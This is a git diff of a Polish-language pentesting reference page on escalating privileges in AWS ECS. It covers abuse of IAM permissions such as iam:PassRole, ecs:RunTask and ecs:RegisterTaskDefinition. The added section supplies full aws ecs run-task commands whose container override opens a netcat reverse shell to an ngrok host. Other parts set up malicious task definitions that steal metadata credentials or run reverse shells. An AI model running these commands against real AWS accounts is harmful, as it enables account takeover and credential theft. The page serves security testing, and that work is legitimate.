Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

2026-07-28 22:51:09 -07:00 · 2025-08-31 08:13:35 +00:00
parent d2f19ab0d3
commit f2e5080a3b
14 changed files with 80 additions and 32 deletions
@@ -12,7 +12,7 @@ Więcej **informacji o ECS** w:

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

-Atakujący nadużywający uprawnień `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**.
+Atakujący nadużywający uprawnień `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową task definition** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją**.

 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#tab name="Webhook" }}

-Utwórz webhook za pomocą strony takiej jak webhook.site
+Utwórz webhook na stronie takiej jak webhook.site
 ```bash

 # Create file container-definition.json
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#endtabs }}

-**Potencjalny wpływ:** Bezpośrednie privesc do innej roli ECS.
+**Potential Impact:** Bezpośredni privesc do innej roli ECS.
+
+### `iam:PassRole`,`ecs:RunTask`
+Atakujący, który ma uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS ze zmodyfikowanymi wartościami **execution role**, **task role** oraz kontenerowego **command**. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala w czasie wykonywania zmienić `executionRoleArn`, `taskRoleArn` oraz kontenerowy `command` bez modyfikowania task definition.
+
+Określone role IAM dla `taskRoleArn` i `executionRoleArn` muszą w swojej polityce zaufania zezwalać na asumowanie przez `ecs-tasks.amazonaws.com`.
+
+Dodatkowo atakujący musi znać:
+- nazwę klastra ECS
+- podsieć VPC
+- security group (jeśli nie zostanie podana, użyta zostanie domyślna)
+- nazwę Task Definition i numer rewizji
+- nazwę kontenera
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": <container-name>,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak, aby atak był możliwy, atakujący musi mieć uprawnienie `iam:PassRole` do roli `taskRoleArn` podanej w komendzie oraz do roli `executionRoleArn` określonej w definicji zadania.
+
+Jeżeli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), wtedy atakujący może wskazać tę samą rolę IAM zarówno jako `executionRoleArn`, jak i `taskRoleArn` w komendzie `ecs run-task`.
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "<container-name>",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli zadania ECS.

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

-Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**.\
-Jednak w tym przypadku, instancja kontenera do uruchomienia złośliwej definicji zadania musi być.
+Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nowy task definition** z **złośliwym containerem**, który kradnie metadata credentials i **uruchomić go**.\
+Jednak w tym przypadku potrzebna jest container instance, aby uruchomić złośliwy task definition.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS.
+**Potencjalny wpływ:** Direct privesc do dowolnej roli ECS.

-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 

-Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.**
+Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS mogą **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -123,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS.
+**Potential Impact:** Bezpośredni privesc do dowolnej roli ECS.

 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

-W rzeczywistości, tylko z tymi uprawnieniami możliwe jest użycie nadpisania do wykonania dowolnych poleceń w kontenerze z dowolną rolą za pomocą czegoś takiego:
+Tak naprawdę, mając tylko te uprawnienia, można użyć overrides, aby wykonać dowolne polecenia w kontenerze z dowolną rolą, np.:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -135,16 +181,16 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS.
+**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli ECS.

 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

 Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\
-To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli jest to bez roli, możesz **uruchomić uprzywilejowany kontener, aby uciec** do węzła i **ukraść rolę IAM EC2** oraz **inne role kontenerów ECS** działających na węźle.\
-Możesz nawet **wymusić uruchomienie innych zadań wewnątrz instancji EC2**, którą kompromitujesz, aby ukraść ich dane uwierzytelniające (jak omówiono w [**sekcji Privesc do węzła**](aws-ecs-privesc.md#privesc-to-node)).
+To nadal interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez przypisanej roli, możesz **uruchomić uprzywilejowany kontener, aby uciec** na węzeł i **ukraść rolę IAM instancji EC2** oraz **role innych kontenerów ECS** działających na tym węźle.\
+Możesz nawet **wymusić uruchomienie innych zadań wewnątrz instancji EC2**, którą przejmiesz, aby ukraść ich poświadczenia (jak omówiono w sekcji [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).

 > [!WARNING]
-> Ten atak jest możliwy tylko wtedy, gdy **klaster ECS używa instancji EC2**, a nie Fargate.
+> Ten atak jest możliwy tylko, jeśli **klaster ECS używa instancji EC2**, a nie Fargate.
 ```bash
 printf '[
 {
@@ -187,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-Napastnik z uprawnieniami **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz działającego kontenera i wyeksportować do niego przypisaną rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia `aws ecs execute-command`).\
-Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **agenta ExecuteCommand** (który domyślnie nie jest uruchomiony).
+Atakujący posiadający uprawnienia **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz uruchomionego kontenera i wyeksfiltrować przypisaną do niego rolę IAM (wymagane są uprawnienia describe, ponieważ są one konieczne do uruchomienia `aws ecs execute-command`).\
+Aby to umożliwić, instancja kontenera musi mieć uruchomionego **ExecuteCommand agent** (domyślnie nie jest).

-W związku z tym, napastnik może spróbować:
+W związku z tym atakujący może spróbować:

- **Spróbować uruchomić polecenie** w każdym działającym kontenerze
+- **Spróbować uruchomić polecenie** w każdym uruchomionym kontenerze
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -210,18 +256,18 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
- Jeśli ma **`ecs:RunTask`**, uruchom zadanie za pomocą `aws ecs run-task --enable-execute-command [...]`
- Jeśli ma **`ecs:StartTask`**, uruchom zadanie za pomocą `aws ecs start-task --enable-execute-command [...]`
- Jeśli ma **`ecs:CreateService`**, utwórz usługę za pomocą `aws ecs create-service --enable-execute-command [...]`
- Jeśli ma **`ecs:UpdateService`**, zaktualizuj usługę za pomocą `aws ecs update-service --enable-execute-command [...]`
+- Jeśli posiada **`ecs:RunTask`**, uruchom task za pomocą `aws ecs run-task --enable-execute-command [...]`
+- Jeśli posiada **`ecs:StartTask`**, uruchom task za pomocą `aws ecs start-task --enable-execute-command [...]`
+- Jeśli posiada **`ecs:CreateService`**, utwórz usługę za pomocą `aws ecs create-service --enable-execute-command [...]`
+- Jeśli posiada **`ecs:UpdateService`**, zaktualizuj usługę za pomocą `aws ecs update-service --enable-execute-command [...]`

-Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach privesc ECS**.
+Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach ECS privesc**.

 **Potencjalny wpływ:** Privesc do innej roli przypisanej do kontenerów.

 ### `ssm:StartSession`

-Sprawdź na **stronie privesc ssm**, jak możesz nadużyć tej uprawnienia, aby **privesc do ECS**:
+Sprawdź na **stronie ssm privesc**, jak możesz nadużyć tego uprawnienia, aby **privesc do ECS**:

 {{#ref}}
 aws-ssm-privesc.md
@@ -229,24 +275,26 @@ aws-ssm-privesc.md

 ### `iam:PassRole`, `ec2:RunInstances`

-Sprawdź na **stronie privesc ec2**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:
+Sprawdź na **stronie ec2 privesc**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:

 {{#ref}}
 aws-ec2-privesc.md
 {{#endref}}

-### `?ecs:RegisterContainerInstance`
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

-TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??
+Atakujący posiadający te uprawnienia mógłby potencjalnie zarejestrować instancję EC2 w klastrze ECS i uruchamiać na niej zadania. Mogłoby to pozwolić atakującemu na wykonanie dowolnego kodu w kontekście zadań ECS.
+
+- TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, tak aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??

 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

 > [!NOTE]
-> TODO: Przetestuj to
+> TODO: Przetestować to

-Atakujący z uprawnieniami `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` może **utworzyć złośliwy zestaw zadań dla istniejącej usługi ECS i zaktualizować główny zestaw zadań**. To pozwala atakującemu na **wykonywanie dowolnego kodu w ramach usługi**.
+Atakujący z uprawnieniami `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` może **utworzyć złośliwy task set dla istniejącej usługi ECS i zaktualizować primary task set**. Umożliwia to atakującemu **wykonanie dowolnego kodu w obrębie tej usługi**.
 ```bash
-bashCopy code# Register a task definition with a reverse shell
+# Register a task definition with a reverse shell
 echo '{
 "family": "malicious-task",
 "containerDefinitions": [
@@ -270,9 +318,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Potencjalny wpływ**: Wykonanie dowolnego kodu w dotkniętej usłudze, co może wpłynąć na jej funkcjonalność lub wyciek wrażliwych danych.
+**Potential Impact**: Wykonanie dowolnego kodu w dotkniętej usłudze, potencjalnie wpływając na jej funkcjonalność lub eksfiltrując poufne dane.

-## Odniesienia
+## Referencje

 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)